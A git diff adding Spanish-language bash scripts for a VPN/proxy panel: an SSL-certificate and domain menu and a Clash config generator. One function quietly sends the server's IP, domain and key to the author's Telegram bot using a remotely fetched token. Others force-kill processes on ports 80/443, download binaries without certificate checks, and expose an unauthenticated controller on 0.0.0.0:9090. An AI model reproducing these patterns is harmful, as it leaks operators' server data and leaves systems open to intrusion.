+ msg -ama " Los datos ingresados no son validos.\n por favor verifique.\n e intente de nuevo!!" + msg -bar + read foo + fi +} + +stop_port(){ + msg -bar3 + msg -ama " Comprovando puertos..." + ports=('80' '443') + + for i in ${ports[@]}; do + if [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]]; then + msg -bar3 + echo -ne "$(msg -ama " Liberando puerto: $i")" + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + sleep 2s + if [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]];then + tput cuu1 && tput dl1 + print_center -verm2 "ERROR AL LIBERAR PURTO $i" + msg -bar3 + msg -ama " Puerto $i en uso." + msg -ama " auto-liberacion fallida" + msg -ama " detenga el puerto $i manualmente" + msg -ama " e intentar nuevamente..." + msg -bar + read foo + fi + fi + done + } + +ger_cert(){ + clear + case $1 in + 1) title "Generador De Certificado Let's Encrypt";; + 2) title "Generador De Certificado Zerossl";; + esac + print_center -ama "Requiere ingresar un dominio." + print_center -ama "el mismo solo deve resolver DNS, y apuntar" + print_center -ama "a la direccion ip de este servidor." + msg -bar3 + print_center -ama "Temporalmente requiere tener" + print_center -ama "los puertos 80 y 443 libres." + if [[ $1 = 2 ]]; then + msg -bar3 + print_center -ama "Requiere tener una cuenta Zerossl." + fi + msg -bar + msg -ne " Continuar [S/N]: " + read opcion + [[ $opcion != @(s|S|y|Y) ]] && return 1 + + if [[ $1 = 2 ]]; then + while [[ -z $mail ]]; do + clear + msg -bar + print_center -ama "ingresa tu correo usado en zerossl" + msg -bar3 + msg -ne " >>> " + read mail + done + fi + + if [[ -e ${ADM_src}/dominio.txt ]]; then + domain=$(cat ${ADM_src}/dominio.txt) + [[ $domain = "multi-domain" ]] && unset domain + if [[ ! -z $domain ]]; then + clear + msg -bar + print_center -azu "Dominio asociado a esta ip" + msg -bar3 + echo -e "$(msg -verm2 " >>> ") $(msg -ama "$domain")" + msg -ne "Continuar, usando este dominio? [S/N]: " + read opcion + tput cuu1 && tput dl1 + [[ $opcion != @(S|s|Y|y) ]] && unset domain + fi + fi + + while [[ -z $domain ]]; do + clear + msg -bar + print_center -ama "ingresa tu dominio" + msg -bar3 + msg -ne " >>> " + read domain + done + msg -bar3 + msg -ama " Comprovando direccion IP ..." + local_ip=$(wget -qO- ipv4.icanhazip.com) + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + sleep 3 + [[ -z "${domain_ip}" ]] && domain_ip="ip no encontrada" + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -ne $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar + print_center -verm2 "ERROR DE DIRECCION IP" + msg -bar + msg -ama " La direccion ip de su dominio\n no coincide con la de su servidor." + msg -bar3 + echo -e " $(msg -azu "IP dominio: ")$(msg -verm2 "${domain_ip}")" + echo -e " $(msg -azu "IP servidor: ")$(msg -verm2 "${local_ip}")" + msg -bar3 + msg -ama " Verifique su dominio, e intente de nuevo." + msg -bar + read foo + fi + stop_port + cert_install + echo "$domain" > ${ADM_src}/dominio.txt +} + +_mssBOT () { +xyz=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/token.sh") +[[ "$(cat -n /etc/adm-lite/menu_credito | wc -l)" -ge "2" ]] && ID="$(cat /etc/adm-lite/menu_credito |tail -1)" || ID="$(echo $xyz| awk '{print $2}')" +TOKEN="$(echo $xyz| awk '{print $1}')" +urlBOT="https://api.telegram.org/bot$TOKEN/sendMessage" +data=$1 +dm=$2 +_ns=$3 +MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" ${data} \n" + MENSAJE+=" IP : $(wget -qO- ifconfig.me) -> ${dm}\n" + [[ -z ${_ns} ]] || MENSAJE+=" TIPO A :-> ${dm} \n TIPO NS :-> ${_ns}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" KEY : ${Key}\n" + MENSAJE+="$(msg -br)\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+="$(msg -br)\n" +curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +} + +gen_domi(){ +msg -bar +echo -e "ESTA FUNCION FUE REMOVIDA DEVIDO A LA VIOLACION DE TOKENS" +echo -e " AHORA PARA GENERAR SUBDOMINIOS TIPO A Y NS" +echo -e " DEBEN SER GENERADOS DESDE EL BOT OFICIAL " +echo -e " DONDE ADQUIRISTE ESTE KEY U ACCESO!!! " +msg -bar + enter +} + +ger_cert_z(){ + echo "" + +} +chandom_cert_z(){ + echo "" + [[ -e ${ADM_src}/dominio.txt ]] && echo -e "TU DOMINIO ACTUAL ES : $(cat ${ADM_src}/dominio.txt)" || echo -e " NO EXISTE DOMINIO REGISTRADO" + echo -e "" + msg -bar + read -p "INGRESSA NUEVO DOMINIO :" dom + [[ -z $dom ]] && return + [[ $dom = 0 ]] && return + echo "$dom" > ${ADM_src}/dominio.txt && echo -e "DOMINIO CAMBIADO EXITOSAMENTE" || echo -e "ERROR AL CAMBIAR DOMINIO" +} + + +#======MENU====== +menu_cert(){ + +while true; do + msg -bar + tittle + msg -ama " SUB-DOMINIO Y CERTIFICADO SSL | @drowkid01" + msg -bar # +[[ -e ${ADM_src}/dominio.txt ]] && echo -e " DOMAIN Tipo A -> @ : $(cat < ${ADM_src}/dominio.txt)" && msg -bar +[[ -e ${ADM_src}/dominio_NS.txt ]] && echo -e " DOMAIN Tipo NS : $(cat < ${ADM_src}/dominio_NS.txt)" && msg -bar +menu_func "CERT SSL (Let's Encrypt)" "CERT SSL (Zerossl)" "CARGAR CERT SSL EXTERNO" "GENERAR SUB-DOMINIO CloudFlare " "CAMBIAR DOMINIO" "VERIFICAR DOMINIOS" +back +in_opcion "Opcion" + +case $opcion in + 1)ger_cert 1;; + 2)ger_cert 2;; + 3)ext_cert;; + 4)gen_domi;; + 5)chandom_cert_z;; + 6)verific + domain_ls;; + 0)break;; +esac +done +} + +menu_cert + diff --git a/Recursos/clash-beta.sh b/Recursos/clash-beta.sh new file mode 100644 index 0000000..eff90e0 --- /dev/null +++ b/Recursos/clash-beta.sh @@ -0,0 +1,2266 @@ +#!/bin/sh +#Autor: Henry Chumo +#Alias : ChumoGH +#SCRIPT OFICIAL ChumoGH|Plus +# Formato Creado por @drowkid01 | '593987072611 Whatsapp Personal +clear&&clear +fun_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +trojanport=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep trojan | awk '{print substr($9,3); }' > /tmp/trojan.txt && echo | cat /tmp/trojan.txt | tr '\n' ' ' > /bin/ejecutar/trojanports.txt && cat /bin/ejecutar/trojanports.txt`; +troport=$(cat /bin/ejecutar/trojanports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) +} +#FUN_BAR + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] || apt-get install golang-go -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install golang-go............ $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +echo -ne "\033[97m Deseas agregar Menu Clash Rapido [s/n]: " +read insta +[[ $insta = @(s|S|y|Y) ]] && enttrada +} + + +fun_insta(){ +fun_ip +install_ini +msg -bar3 +killall clash 1> /dev/null 2> /dev/null +echo -e " ➣ Creando Directorios y Archivos" +msg -bar3 +[[ -d /root/.config ]] && rm -rf /root/.config/* || mkdir /root/.config +mkdir /root/.config/clash 1> /dev/null 2> /dev/null +last_version=$(curl -Ls "https://api.github.com/repos/emirjorge/clash-core/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') +arch=$(arch) +if [[ $arch == "x86_64" || $arch == "x64" || $arch == "amd64" ]]; then + arch="amd64" +elif [[ $arch == "aarch64" || $arch == "arm64" ]]; then + arch="arm64" +else + arch="amd64" +fi +wget -N --no-check-certificate -O /root/.config/clash/clash.gz https://github.com/emirjorge/clash-core/releases/download/${last_version}/clash-linux-${arch}-${last_version}.gz +gzip -d /root/.config/clash/clash.gz +chmod +x /root/.config/clash/clash +echo -e " ➣ Clonando Repositorio Original Dreamacro " +go get -u -v github.com/emirjorge/clash-core +clear +} + + + +#[[ -e /bin/ejecutar/msg source msg +source msg +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') +[[ ! -d /bin/ejecutar/clashFiles ]] && mkdir /bin/ejecutar/clashFiles +clashFiles='/bin/ejecutar/clashFiles/' + +INITClash(){ +msg -bar +conFIN +read -p "Ingrese Nombre del Poster WEB de la configuracion: " cocolon +[[ -e /root/.config/clash/config.yaml ]] && sed -i "s%_dAtE%${fecha}%g" /root/.config/clash/config.yaml +[[ -e /root/.config/clash/config.yaml ]] && sed -i "s/_h0rA/${hora}/g" /root/.config/clash/config.yaml +cp /root/.config/clash/config.yaml /var/www/html/$cocolon.yaml && chmod +x /var/www/html/$cocolon.yaml +service apache2 restart +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33mClash Server Instalado" +echo -e "-------------------------------------------------------" +echo -e " \033[4;31mNOTA importante\033[0m" +echo -e "Recuerda Descargar el Fichero, o cargarlo como URL!!" +echo -e "-------------------------------------------------------" +echo -e " \033[0;31mSi Usas Clash For Android, Ultima Version " +echo -e " Para luego usar el Link del Fichero, y puedas ." +echo -e " Descargarlo desde cualquier sitio con acceso WEB" +echo -e " Link Clash Valido por 30 minutos " +echo -e " Link : \033[1;42m http://$IP:${portFTP}/$cocolon.yaml\033[0m" +echo -e "-------------------------------------------------------" +#read -p "PRESIONA ENTER PARA CARGAR ONLINE" +echo -e "\033[1;32mRuta de Configuracion: /root/.config/clash/config.yaml" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +scr=$(echo $(($RANDOM*3))|head -c 3) +unset yesno +echo -e " ENLACE VALIDO POR 30 MINUTOS? " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +killall clash > /dev/null &1>&2 +screen -dmS clashse_$cocolon /root/.config/clash/clash +echo '#!/bin/bash -e' > /root/.config/clash/$cocolon.sh +echo "sleep 1800s" >> /root/.config/clash/$cocolon.sh && echo -e " ACTIVO POR 30 MINUTOS " || echo " Validacion Incorrecta " +echo "mv /var/www/html/$cocolon.yaml ${clashFiles}$cocolon.yaml" >> /root/.config/clash/$cocolon.sh +echo 'echo "Fichero removido a ${clashFiles}$cocolon.yaml"' >> /root/.config/clash/$cocolon.sh +echo "service apache2 restart" >> /root/.config/clash/$cocolon.sh +echo "rm -f /root/.config/clash/$cocolon.sh" >> /root/.config/clash/$cocolon.sh +echo 'exit' >> /root/.config/clash/$cocolon.sh && screen -dmS clash${scr} bash /root/.config/clash/$cocolon.sh +} +echo -e "Proceso Finalizado" + +} + +configINIT_rule () { +mode=$1 +[[ -z ${mode} ]] && exit +unset tropass +echo '#SCRIPT OFICIAL ChumoGH|Plus +# Formato Creado por @drowkid01 | +593987072611 Whatsapp Personal +# Creado el _dAtE - _h0rA +port: 8080 +socks-port: 7891 +redir-port: 7892 +allow-lan: true +bind-address: "*" +mode: rule +log-level: info +external-controller: "0.0.0.0:9090" +secret: "" + +dns: + enable: true + listen: :53 + enhanced-mode: fake-ip + nameserver: + - 114.114.114.114 + - 223.5.5.5 + - 8.8.8.8 + - 45.71.185.100 + - 204.199.156.138 + - 1.1.1.1 + fallback: [] + fake-ip-filter: + - +.stun.*.* + - +.stun.*.*.* + - +.stun.*.*.*.* + - +.stun.*.*.*.*.* + - "*.n.n.srv.nintendo.net" + - +.stun.playstation.net + - xbox.*.*.microsoft.com + - "*.*.xboxlive.com" + - "*.msftncsi.com" + - "*.msftconnecttest.com" + - WORKGROUP +tun: + enable: true + stack: gvisor + auto-route: true + auto-detect-interface: true + dns-hijack: + - any:53 + +# Clash for Windows +cfw-bypass: + - qq.com + - music.163.com + - "*.music.126.net" + - localhost + - 127.* + - 10.* + - 172.16.* + - 172.17.* + - 172.18.* + - 172.19.* + - 172.20.* + - 172.21.* + - 172.22.* + - 172.23.* + - 172.24.* + - 172.25.* + - 172.26.* + - 172.27.* + - 172.28.* + - 172.29.* + - 172.30.* + - 172.31.* + - 192.168.* + - +cfw-latency-timeout: 5000 + +proxy-groups: +- name: "ChumoGH-ADM" + type: select + proxies: ' > /root/.config/clash/config.yaml +#sed -i "s/+/'/g" /root/.config/clash/config.yaml +foc=1 +[[ -e /usr/local/etc/trojan/config.json ]] && ConfTrojINI +unset yesno +foc=1 +[[ -e /etc/v2ray/config.json ]] && ConfV2RINI +unset yesno +foc=1 +[[ -e /etc/xray/config.json ]] && ConfXRINI +} + +configINIT_global () { +mode=$1 +[[ -z ${mode} ]] && exit +unset tropass +echo '#SCRIPT OFICIAL ChumoGH|Plus +# Formato Creado por @drowkid01 | +593987072611 Whatsapp Personal +# Creado el _dAtE - _h0rA +port: 8080 +socks-port: 7891 +redir-port: 7892 +allow-lan: true +bind-address: "*" +mode: global +log-level: info +external-controller: "0.0.0.0:9090" +secret: "" +dns: + enable: true + listen: :53 + enhanced-mode: fake-ip + nameserver: + - 114.114.114.114 + - 223.5.5.5 + - 8.8.8.8 + - 45.71.185.100 + - 204.199.156.138 + - 1.1.1.1 + fallback: [] + fake-ip-filter: + - +.stun.*.* + - +.stun.*.*.* + - +.stun.*.*.*.* + - +.stun.*.*.*.*.* + - "*.n.n.srv.nintendo.net" + - +.stun.playstation.net + - xbox.*.*.microsoft.com + - "*.*.xboxlive.com" + - "*.msftncsi.com" + - "*.msftconnecttest.com" + - WORKGROUP +tun: + enable: true + stack: gvisor + auto-route: true + auto-detect-interface: true + dns-hijack: + - any:53 + +# Clash for Windows +cfw-bypass: + - qq.com + - music.163.com + - "*.music.126.net" + - localhost + - 127.* + - 10.* + - 172.16.* + - 172.17.* + - 172.18.* + - 172.19.* + - 172.20.* + - 172.21.* + - 172.22.* + - 172.23.* + - 172.24.* + - 172.25.* + - 172.26.* + - 172.27.* + - 172.28.* + - 172.29.* + - 172.30.* + - 172.31.* + - 192.168.* + - +cfw-latency-timeout: 5000 + ' > /root/.config/clash/config.yaml +#sed -i "s/+/'/g" /root/.config/clash/config.yaml +foc=1 +[[ -e /usr/local/etc/trojan/config.json ]] && ConfTrojINI +unset yesno +foc=1 +[[ -e /etc/v2ray/config.json ]] && ConfV2RINI +unset yesno +foc=1 +[[ -e /etc/xray/config.json ]] && ConfXRINI +} + +proxyTRO() { +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proTRO+="- name: $1\n type: trojan\n server: ${IP}\n port: ${troport}\n password: "$2"\n udp: true\n sni: $3\n alpn:\n - h2\n - http/1.1\n skip-cert-verify: true\n\n" + } + +ConfTrojINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG TROJAN " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p " [S/N]: " yesno + +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL TROJAN CLASH " +read -p ": " nameperfil +msg -bar3 +[[ -z ${UUID} ]] && view_usert || { +echo -e " USER ${Usr} : ${UUID}" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosni +msg -bar3 +proxyTRO ${nameperfil} ${UUID} ${trosni} +ConfTrojINI + } +} + +proxyV2R() { +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proV2R+="- name: $1\n type: vmess\n server: ${IP}\n port: $7\n uuid: $3\n alterId: $4\n cipher: auto\n udp: true\n tls: true\n skip-cert-verify: true\n servername: $2\n network: $5\n ws-opts: \n path: $6\n headers:\n Host: $2\n \n\n" + } + +proxyV2Rgprc() { +#config=/usr/local/x-ui/bin/config.json +#cat $config | jq .inbounds[].settings.clients | grep id +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proV2R+=" +- name: $1\n server: ${IP}\n port: $7\n type: vmess\n uuid: $3\n alterId: $4\n cipher: auto\n tls: true\n skip-cert-verify: true\n network: grpc\n servername: $2\n grpc-opts:\n grpc-mode: gun\n grpc-service-name: $6\n udp: true \n\n" + } +proxyXR() { +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proXR+="- name: $1\n type: vmess\n server: ${IP}\n port: $7\n uuid: $3\n alterId: $4\n cipher: auto\n udp: true\n tls: true\n skip-cert-verify: true\n servername: $2\n network: $5\n ws-opts: \n path: $6\n headers:\n Host: $2\n \n\n" + } + +proxyXRgprc() { +#config=/usr/local/x-ui/bin/config.json +#cat $config | jq .inbounds[].settings.clients | grep id +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proXR+=" +- name: $1\n server: ${IP}\n port: $7\n type: vmess\n uuid: $3\n alterId: $4\n cipher: auto\n tls: true\n skip-cert-verify: true\n network: grpc\n servername: $2\n grpc-opts:\n grpc-mode: gun\n grpc-service-name: $6\n udp: true \n\n" + } + +ConfV2RINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG V2RAY " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL V2RAY CLASH " +read -p ": " nameperfil +msg -bar3 +[[ -z ${uid} ]] && view_user || { +echo -e " USER ${ps}" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosni +msg -bar3 + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uid=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + net=$(jq '.inbounds[].streamSettings.network' $config) + parche=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $path = null ]] && parche='' + v2port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + +[[ $net = '"grpc"' ]] && { +proxyV2Rgprc ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${path} ${v2port} +} || { +proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +} + +ConfV2RINI + } +} + +ConfXRINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG XRAY " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL XRAY CLASH " +read -p ": " nameperfilX +msg -bar3 +[[ -z ${uidX} ]] && _view_userXR || { +echo -e " USER ${ps} XRAY" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosniX +msg -bar3 + psX=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uidX=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiidX=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + addX=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && addX=$(wget -qO- ipv4.icanhazip.com) + hostX=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + netX=$(jq '.inbounds[].streamSettings.network' $config) + parcheX=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $pathX = null ]] && parcheX='' + v2portX=$(jq '.inbounds[].port' $config) + tlsX=$(jq '.inbounds[].streamSettings.security' $config) + [[ $netX = '"grpc"' ]] && pathX=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || pathX=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + +[[ $netX = '"grpc"' ]] && { +proxyXRgprc ${nameperfilX} ${trosniX} ${uidX} ${aluuiidX} ${netX} ${pathX} ${v2portX} +} || { +proxyXR ${nameperfilX} ${trosniX} ${uidX} ${aluuiidX} ${netX} ${parcheX} ${v2portX} +} + +ConfXRINI + } +} + +confRULE() { +[[ $mode = 1 ]] && echo -e ' + url: http://www.gstatic.com/generate_204 + interval: 300 + +################################### +# ChumoGH-ADM + +# By ChumoGH By CGH +- name: "【 ✵ 𝚂𝚎𝚛𝚟𝚎𝚛-𝙿𝚁𝙴𝙼𝙸𝚄𝙼 ✵ 】" + type: select + proxies: + - "ChumoGH-ADM" + +#- name: "【 📱 +593987072611 】" +# type: select +# proxies: +# - "ChumoGH-ADM" + +Rule: +# Unbreak +# > Google +- DOMAIN-SUFFIX,googletraveladservices.com,ChumoGH-ADM +- DOMAIN,dl.google.com,ChumoGH-ADM +- DOMAIN,mtalk.google.com,ChumoGH-ADM + +# Internet Service Providers ChumoGH-ADM 运营商劫持 +- DOMAIN-SUFFIX,17gouwuba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,186078.com,ChumoGH-ADM +- DOMAIN-SUFFIX,189zj.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,285680.com,ChumoGH-ADM +- DOMAIN-SUFFIX,3721zh.com,ChumoGH-ADM +- DOMAIN-SUFFIX,4336wang.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,51chumoping.com,ChumoGH-ADM +- DOMAIN-SUFFIX,51mld.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,51mypc.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,58mingri.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,58mingtian.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,5vl58stm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,6d63d3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,7gg.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,91veg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9s6q.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,adsame.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aiclk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,akuai.top,ChumoGH-ADM +- DOMAIN-SUFFIX,atplay.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,baiwanchuangyi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beerto.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,beilamusi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,benshiw.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bianxianmao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bryonypie.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cishantao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cszlks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cudaojia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dafapromo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,daitdai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dsaeerf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dugesheying.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dv8c1t.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,echatu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,erdoscs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fan-yong.com,ChumoGH-ADM +- DOMAIN-SUFFIX,feih.com.cn,ChumoGH-ADM +- 